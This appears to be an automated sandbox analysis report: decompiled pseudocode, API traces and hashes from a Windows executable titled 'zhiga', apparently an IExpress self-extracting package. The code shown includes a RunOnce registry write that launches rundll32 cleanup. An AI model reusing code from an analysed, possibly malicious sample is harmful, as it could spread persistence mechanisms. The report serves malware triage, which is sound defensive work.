0x01092d5b
0x01092d5d
0x01092d69
0x01092d6e
0x01092f06
0x01092f06
0x01092f06
0x01092d59
0x01092f18

APIs

memset.MSVCRT ref: 01092CD9
memset.MSVCRT ref: 01092CE9
memset.MSVCRT ref: 01092CF9

Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946A0
Part of subcall function 0109468F: SizeofResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946A9
Part of subcall function 0109468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010946C3
Part of subcall function 0109468F: LoadResource.KERNEL32(00000000,00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946CC
Part of subcall function 0109468F: LockResource.KERNEL32(00000000,?,01092D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010946D3
Part of subcall function 0109468F: memcpy_s.MSVCRT ref: 010946E5
Part of subcall function 0109468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010946EF

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 01092D34
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 01092D40
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 01092DAE
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 01092DBD
CloseHandle.KERNEL32(zhiga,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 01092E0A

Part of subcall function 010944B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
Part of subcall function 010944B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554

Strings

INSTANCECHECK, xrefs: 01092D95
EXTRACTOPT, xrefs: 01092D4D
VERCHECK, xrefs: 01092E54
TITLE, xrefs: 01092D09
zhiga, xrefs: 01092D04, 01092DD9, 01092DF0

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$zhiga
API String ID: 1002816675-3407794480
Opcode ID: 3d4e1799dc951a63954435f7dbaed0f599b9ccc6c1e3ec85fed5c82c8685250c
Instruction ID: 681bc160b347398e4aae36712cfa038d9973bfa265ca3e4ebf15c50fd0368791
Opcode Fuzzy Hash: 3d4e1799dc951a63954435f7dbaed0f599b9ccc6c1e3ec85fed5c82c8685250c
Instruction Fuzzy Hash: DB51E6B0340305BAFF7066299D79B7A36D8F795714F00406EB6C1C62C9DABD8841A755

Uniqueness

Uniqueness Score: -1.00%

Function 010934F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 119
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E010934F0(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t9;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t23;
				void* _t25;
				struct HWND__* _t35;
				struct HWND__* _t38;
				void* _t39;

				_t9 = _a8 - 0x10;
				if(_t9 == 0) {
					__eflags = 1;
					L19:
					_push(0);
					 *0x10991d8 = 1;
					L20:
					_push(_a4);
					L21:
					EndDialog();
					L22:
					return 1;
				}
				_push(1);
				_pop(1);
				_t12 = _t9 - 0xf2;
				if(_t12 == 0) {
					__eflags = _a12 - 0x1b;
					if(_a12 != 0x1b) {
						goto L22;
					}
					goto L19;
				}
				_t13 = _t12 - 0xe;
				if(_t13 == 0) {
					_t35 = _a4;
					 *0x1098584 = _t35;
					E010943D0(_t35, GetDesktopWindow());
					__eflags =  *0x1098184; // 0x1
					if(__eflags != 0) {
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x464, 0, 0xbb9);
						SendMessageA(GetDlgItem(_t35, 0x83b), 0x465, 0xffffffff, 0xffff0000);
					}
					SetWindowTextA(_t35, "zhiga");
					_t17 = CreateThread(0, 0, E01094FE0, 0, 0, 0x1098798);
					 *0x109879c = _t17;
					__eflags = _t17;
					if(_t17 != 0) {
						goto L22;
					} else {
						E010944B9(_t35, 0x4b8, 0, 0, 0x10, 0);
						_push(0);
						_push(_t35);
						goto L21;
					}
				}
				_t23 = _t13 - 1;
				if(_t23 == 0) {
					__eflags = _a12 - 2;
					if(_a12 != 2) {
						goto L22;
					}
					ResetEvent( *0x109858c);
					_t38 =  *0x1098584; // 0x0
					_t25 = E010944B9(_t38, 0x4b2, 0x1091140, 0, 0x20, 4);
					__eflags = _t25 - 6;
					if(_t25 == 6) {
						L11:
						 *0x10991d8 = 1;
						SetEvent( *0x109858c);
						_t39 =  *0x109879c; // 0x0
						E01093680(_t39);
						_push(0);
						goto L20;
					}
					__eflags = _t25 - 1;
					if(_t25 == 1) {
						goto L11;
					}
					SetEvent( *0x109858c);
					goto L22;
				}
				if(_t23 == 0xe90) {
					TerminateThread( *0x109879c, 0);
					EndDialog(_a4, _a12);
					return 1;
				}
				return 0;
			}

0x010934fb
0x010934fe
0x01093665
0x01093666
0x01093666
0x01093668
0x0109366e
0x0109366e
0x01093671
0x01093671
0x01093677
0x00000000
0x01093677
0x01093504
0x01093506
0x01093507
0x0109350c
0x0109365b
0x0109365f
0x00000000
0x00000000
0x00000000
0x01093661
0x01093512
0x01093515
0x010935be
0x010935c1
0x010935d1
0x010935d8
0x010935de
0x010935f8
0x01093617
0x01093617
0x01093623
0x01093637
0x0109363d
0x01093642
0x01093644
0x00000000
0x01093646
0x01093652
0x01093657
0x01093658
0x00000000
0x01093658
0x01093644
0x0109351b
0x0109351d
0x0109354f
0x01093553
0x00000000
0x00000000
0x0109355f
0x01093565
0x0109357c
0x01093581
0x01093584
0x0109359b
0x010935a1
0x010935a7
0x010935ad
0x010935b3
0x010935b8
0x00000000
0x010935b8
0x01093586
0x01093588
0x00000000
0x00000000
0x01093590
0x00000000
0x01093590
0x01093524
0x01093535
0x01093541
0x00000000
0x01093549
0x00000000

APIs

TerminateThread.KERNEL32(00000000), ref: 01093535
EndDialog.USER32(?,?), ref: 01093541
ResetEvent.KERNEL32 ref: 0109355F
SetEvent.KERNEL32(01091140,00000000,00000020,00000004), ref: 01093590
GetDesktopWindow.USER32 ref: 010935C7
GetDlgItem.USER32(?,0000083B), ref: 010935F1
SendMessageA.USER32(00000000), ref: 010935F8
GetDlgItem.USER32(?,0000083B), ref: 01093610
SendMessageA.USER32(00000000), ref: 01093617
SetWindowTextA.USER32(?,zhiga), ref: 01093623
CreateThread.KERNEL32 ref: 01093637
EndDialog.USER32(?,00000000), ref: 01093671

Strings

zhiga, xrefs: 0109361D

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: DialogEventItemMessageSendThreadWindow$CreateDesktopResetTerminateText
String ID: zhiga
API String ID: 2406144884-3705506974
Opcode ID: edb7441c46861828c6e5a39dde9bc11aa0c4606e6817b393c994218fe125c0ea
Instruction ID: 1c0a6091f38f82e6c919c94f7bd6ec36b2f19c0a042a296ca7d80f93571e1207
Opcode Fuzzy Hash: edb7441c46861828c6e5a39dde9bc11aa0c4606e6817b393c994218fe125c0ea
Instruction Fuzzy Hash: 9531AA71244315FBDF701F39AC7DE2A3EA5F789B45F10851AF6C29A298C67A8400DF54

Uniqueness

Uniqueness Score: -1.00%

Function 01094224 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 132
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E01094224(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E010944B9(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x10988c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x10987a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x1098598;
					_v36 = 1;
					_v32 = E01094200;
					_v28 = 0x10988c0;
					 *0x109a288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x109a288(_t32, 0x10988c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x10988c0 != 0) {
							E01091680(0x10987a0, 0x104, 0x10988c0);
						}
						 *0x109a288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x10987a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x10988c0);
					_t61 = 0x10988c0;
					_t4 =  &(_t61[1]); // 0x10988c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x10988c0; // 0x2131181
					_t44 = CharPrevA(0x10988c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x10988c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x01094234
0x0109423c
0x01094240
0x010943b2
0x010943b7
0x010943c0
0x00000000
0x010943c5
0x0109424c
0x01094252
0x01094257
0x010943a4
0x010943a5
0x010943ab
0x00000000
0x010943ab
0x01094263
0x01094269
0x0109426e
0x00000000
0x00000000
0x0109427a
0x01094280
0x01094285
0x00000000
0x00000000
0x0109428d
0x01094293
0x010942e6
0x010942e9
0x010942ef
0x010942f4
0x010942f7
0x01094300
0x01094307
0x0109430e
0x01094315
0x0109431c
0x01094322
0x01094326
0x0109432d
0x0109432d
0x0109432f
0x01094334
0x01094343
0x01094349
0x0109434d
0x01094354
0x01094354
0x0109435d
0x0109436e
0x0109436e
0x0109437d
0x01094383
0x01094387
0x0109438e
0x0109438e
0x01094387
0x01094391
0x01094399
0x00000000
0x01094295
0x0109429f
0x010942a5
0x010942aa
0x010942aa
0x010942ad
0x010942ad
0x010942af
0x010942b0
0x010942b6
0x010942c2
0x010942c8
0x010942ce
0x010942e4
0x010942e4
0x00000000
0x010942ce

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 01094236
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 0109424C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 01094263
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 0109427A
GetTempPathA.KERNEL32(00000104,010988C0,?,00000001), ref: 0109429F
CharPrevA.USER32(010988C0,02131181,?,00000001), ref: 010942C2
CharPrevA.USER32(010988C0,00000000,?,00000001), ref: 010942D6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 01094391
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 010943A5

Strings

SHBrowseForFolder, xrefs: 01094246
SHGetPathFromIDList, xrefs: 01094274
SHELL32.DLL, xrefs: 0109422F

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: dc620258f5157f1c4e2c7d6691957ac7a104322094d1607a761d7f5a8ccd4ae6
Instruction ID: 63ff4b3ea8d78cb31d360ca520b8ae456c690119af685f1a71df2070dbeb4706
Opcode Fuzzy Hash: dc620258f5157f1c4e2c7d6691957ac7a104322094d1607a761d7f5a8ccd4ae6
Instruction Fuzzy Hash: 8E41A574A00208AFEF215B79E8B496E7FA4FB46344F0481AAE9C1E7345C77989029774

Uniqueness

Uniqueness Score: -1.00%

Function 010944B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E010944B9(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x1098004; // 0x8a9c601
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x1098a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x1099a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E01091680(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E0109171E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E0109171E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E0109681F(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E010967C9(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "zhiga", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E0109681F(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E010967C9(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "zhiga", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E01096CE0(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x010944b9
0x010944c4
0x010944cb
0x010944d8
0x010944e4
0x010944eb
0x010944ee
0x010944ef
0x010944ef
0x010944f1
0x010944f7
0x010944f8
0x0109467b
0x010944fe
0x01094509
0x01094518
0x01094525
0x01094562
0x01094568
0x01094568
0x0109456b
0x0109456b
0x0109456d
0x0109456e
0x01094572
0x01094578
0x0109457c
0x010945cb
0x01094607
0x01094607
0x0109460d
0x01094613
0x01094617
0x00000000
0x0109461d
0x01094623
0x01094626
0x01094628
0x00000000
0x01094628
0x010945cd
0x010945cd
0x010945cf
0x010945cf
0x010945d2
0x010945d2
0x010945d4
0x010945d5
0x010945db
0x010945de
0x010945e3
0x010945e9
0x010945ed
0x00000000
0x010945f3
0x010945fd
0x00000000
0x01094602
0x010945ed
0x0109457e
0x0109457e
0x01094580
0x01094580
0x01094583
0x01094583
0x01094585
0x01094586
0x0109458a
0x0109458c
0x0109458f
0x0109458f
0x01094591
0x01094592
0x0109459b
0x0109459e
0x010945a3
0x010945a9
0x010945ad
0x00000000
0x010945af
0x010945af
0x010945bf
0x0109462d
0x01094630
0x0109463d
0x0109464e
0x0109464e
0x0109463f
0x01094640
0x01094647
0x0109464c
0x00000000
0x00000000
0x0109464c
0x01094666
0x0109466d
0x0109466f
0x01094675
0x01094675
0x010945ad
0x01094527
0x0109452e
0x0109453f
0x0109453f
0x01094530
0x01094531
0x01094538
0x0109453d
0x00000000
0x00000000
0x0109453d
0x01094554
0x0109455a
0x0109455a
0x0109455a
0x01094525
0x0109468c

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01094518
MessageBoxA.USER32(?,?,zhiga,00010010), ref: 01094554
LocalAlloc.KERNEL32(00000040,00000065), ref: 010945A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 010945E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0109460D
MessageBeep.USER32(00000000), ref: 01094630
MessageBoxA.USER32(?,00000000,zhiga,00000000), ref: 01094666
LocalFree.KERNEL32(00000000), ref: 0109466F

Part of subcall function 0109681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0109686E
Part of subcall function 0109681F: GetSystemMetrics.USER32(0000004A), ref: 010968A7
Part of subcall function 0109681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 010968CC
Part of subcall function 0109681F: RegQueryValueExA.ADVAPI32(?,01091140,00000000,?,?,0000000C), ref: 010968F4
Part of subcall function 0109681F: RegCloseKey.ADVAPI32(?), ref: 01096902

Strings

LoadString() Error. Could not load string resource., xrefs: 010944E4
zhiga, xrefs: 01094545, 0109465A

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$zhiga
API String ID: 3244514340-1120439489
Opcode ID: 34df12721fdd623bfded8927412ec99e9f262b12970428d04cea87e138d90df3
Instruction ID: 12de0d9944158db692273d8ff31cfa94be77873a9f1dd47ef98b325383ffb28f
Opcode Fuzzy Hash: 34df12721fdd623bfded8927412ec99e9f262b12970428d04cea87e138d90df3
Instruction Fuzzy Hash: 1251F7B1A00216ABDF219E68CD68BBA7BB8EF45300F004195FDC9E7245DB36D906DB90

Uniqueness

Uniqueness Score: -1.00%

Function 01092773 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 114
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E01092773(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x1098004; // 0x8a9c601
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E01091781( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E0109658A( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E0109658A(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x1091140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E01091680(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E01096CE0(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x01092773
0x0109277e
0x01092785
0x0109278a
0x0109278d
0x01092790
0x01092792
0x01092798
0x0109279d
0x010928b2
0x00000000
0x010927a3
0x010927a3
0x010927af
0x010927c2
0x010927c8
0x010927cd
0x010927d5
0x010928b7
0x010928b9
0x00000000
0x010927db
0x010927dd
0x010928aa
0x00000000
0x010927e3
0x010927e3
0x010927ec
0x010927f8
0x01092803
0x0109280b
0x01092831
0x010928c3
0x010928c9
0x010928cd
0x01092837
0x0109285a
0x0109285c
0x01092865
0x01092892
0x01092895
0x00000000
0x00000000
0x01092867
0x01092878
0x0109288c
0x00000000
0x0109287a
0x01092880
0x01092885
0x01092897
0x01092899
0x01092899
0x01092878
0x01092865
0x010928a0
0x010928bf
0x010928c1
0x00000000
0x00000000
0x010928c1
0x01092831
0x010927dd
0x010927d5
0x010928e5

APIs

CharUpperA.USER32(08A9C601,00000000,00000000,00000000), ref: 010927A8
CharNextA.USER32(0000054D), ref: 010927B5
CharNextA.USER32(00000000), ref: 010927BC
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092829
RegQueryValueExA.ADVAPI32(?,01091140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092852
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 01092870
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 010928A0
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 010928AA
GetSystemDirectoryA.KERNEL32 ref: 010928B9

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 010927E4

Memory Dump Source

Source File: 00000001.00000002.443134906.0000000001091000.00000020.00000001.01000000.00000004.sdmp, Offset: 01090000, based on PE: true

Associated: 00000001.00000002.443126553.0000000001090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443146015.0000000001098000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.443153856.000000000109C000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1090000_bjAg.jbxd

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: c0454feecf8a06ceb888e6d2f8f1d204e74da8cdcffbbd2fb3908a3841c8607d
Instruction ID: 22dbf7266e1cc9a28c1518194a0eac2e3aa0be07300de8a84570ac5344a20fd4
Opcode Fuzzy Hash: c0454feecf8a06ceb888e6d2f8f1d204e74da8cdcffbbd2fb3908a3841c8607d
Instruction Fuzzy Hash: 6441BFB0A01128ABDF259A649CA5AFE7BBCEB55700F0040E9F5C9D7104CB758E81ABA0

Uniqueness

Uniqueness Score: -1.00%

Function 01092267 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 88
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E01092267() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x1098004; // 0x8a9c601
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x1098530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E0109658A( &_v268, 0x104, 0x1091140);
							}
							_push("C:\Users\alfons\AppData\Local\Temp\IXP001.TMP\");
							E0109171E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup1", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E01096CE0(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x01092272
0x01092277
0x01092279
0x01092283
0x01092289
0x010922ab
0x010922b1
0x010922c4
0x010922e0
0x010922e6
0x010922f5
0x0109230d
0x0109231c
0x0109231c
0x01092321
0x0109233a
0x01092342
0x01092348
0x0109234b
0x0109234c
0x0109234c
0x0109234e
0x0109234f
0x0109236e
0x0109236e
0x0109237a
0x01092380
0x01092380
0x01092381
0x01092381
0x0109238f

APIs
